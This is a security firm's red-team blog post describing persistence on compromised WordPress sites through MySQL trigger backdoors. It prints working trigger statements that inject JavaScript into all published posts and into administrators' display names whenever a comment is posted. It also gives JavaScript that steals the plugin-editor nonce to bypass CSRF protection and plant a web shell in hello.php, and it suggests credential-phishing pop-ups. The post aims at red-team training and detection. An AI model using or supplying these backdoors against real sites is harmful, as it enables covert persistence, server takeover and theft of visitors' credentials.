Persistence in WordPress using backdoors in SQL
Table of Contents
Introduction to backdoors in SQL
Using backdoors in SQL as a persistence method in compromised web environments is not only an old but also an exceptionally effective technique. Generally, protocols followed in order to get rid of attacker’s persistence in any compromised web environment are not exhaustive enough. Moreover, persistence affecting database is ignored.
During Red Team exercises, it is important to use different persistence methods aimed at detecting deficiencies in the methodologies used by Blue Team defenders when cleaning up a compromised server. Besides, it is also important providing training regarding the detection of this kind of techniques.
Despite the following examples refer to WordPress, they can be applied to any other platform.
Backdoors in SQL using triggers
A “trigger” in MySQL is a database object that is associated to a table and activated whenever a particular event is triggered. For example, we can create a “trigger” to run a SQL statement when a particular table is updated. Therefore, it is necessary that the user holds the TRIGGER privilege in order to create a trigger on a table.
Backdoors in SQL base their performance on triggers. The basic concept consists on the automatic execution of SQL statements when a new event is created. For example, regarding WordPress, we can automate the addition of a malicious JavaScript on all those posts published in the particular moment when someone writes a comment on any post.
delimiter // CREATE TRIGGER add_js BEFORE INSERT ON customized_comments FOR EACH ROW BEGIN UPDATE customized_posts SET post_content=IF(post_content like '%test.js%', post_content, CONCAT(post_content, '')) where post_status like '%publish%'; END; // delimiter ;
Once the event is fired (whenever someone publishes a new comment), the customized_posts table (wp_posts) will be updated in order to add malicious code in those uninfected posts. Obviously, we could apply a bit of obfuscation to our backdoor in SQL to complicate the understanding of what is happening or, more selectively, we could only infect those posts containing a given keyword (providing this way full control of the moment when triggering the actions).
Whenever a comment is inserted, the trigger is fired and a JavaScript code is added to every published post (in this case, there is an alert as a proof of concept):
Please, see the modification done by our backdoor in the following picture:
Through this JavaScript, a web visit from a company’s corporate proxy could be detected, and based on social engineering this could also lead to malware download or show a Pop-up with corporative aspect requesting domain credentials.
Another interesting option would be using JavaScript to force the administrator to edit a plugin in order to add a small backdoor in PHP (supposing that there are not file management privileges from MySQL). This way, Red Team can take control of the server again using a small web shell.
For this purpose, searching any text string appearing in the administrator desktop would be ideal in order to avoid any potential restriction based on the referrer detection. A good candidate would be display_name, since this one is shown on the administration part (apart from other places). First of all, we should create another backdoor in SQL aimed at editing this value in order to add our JavaScript code.
delimiter // CREATE TRIGGER add_js_admin BEFORE INSERT ON customized_comments FOR EACH ROW BEGIN UPDATE customized_users SET display_name=IF(display_name like '%test.js%', display_name, CONCAT(display_name, '')) where id IN (select user_id from customized_usermeta where meta_value like '%administrator%'); END; // delimiter ;
This code is a simple adaptation of the code previously used. However, at this moment the malicious code is added to the administrator’s display_name, so that the impact is reduced.
An example of JavaScript code aimed at editing pluggins could be the following (comments added in order to help clarifying possible doubts):
var ajax = new XMLHttpRequest(); ajax.open("GET","/wordpress/wp-admin/plugin-editor.php?file=hello.php",true); //Peticion para obtener el nonce ajax.onreadystatechange = function(){ if(this.readyState == 4 && this.status == 200) { var re = /id="_wpnonce" name="_wpnonce" value="(w+)"/; //Regex para el nonce var result = this.responseText.match(re); var nonce = result[1]; // El nonce (de esta forma saltamos la protección anti CSRF) //alert(nonce); ajax.open("POST","/wordpress/wp-admin/plugin-editor.php",true); //Editamos con nuestro contenido var params = "newcontent=NUESTRA WEBSHELL"; params += "&_wpnonce=" + nonce + "&action=update&file=hello.php&plugin=hello.php&scrollto=0&submit=Actualizar archivo"; ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); ajax.setRequestHeader("Content-length", params.length); ajax.setRequestHeader("Connection", "close"); ajax.send(params); } } ajax.send(); //Attention: It would be necessary to do some verification work in order to prevent constant plugin edition and request delivery, this is just a PoC
Thanks to JavaScript code execution from the admin panel, the administrator is forced to edit a plugin installed by default in every WordPress adding our web shell.
Conclusion
In this post we have tackled a simple but effective form of persistence in WordPress environments (also applicable to other similar web platforms) using backdoors in SQL. Therefore, it is possible to retake the control of any compromised server enabling Red Team to recover a potential valuable asset in the ongoing operation thanks to its surviving ability in the database in case a clean backup is not used.
Then, if your company owns a WordPress, or any other type of content management system, it is strongly recommended to carry out a web security audit to determine the security status.
Discover our work and cybersecurity services at www.tarlogic.com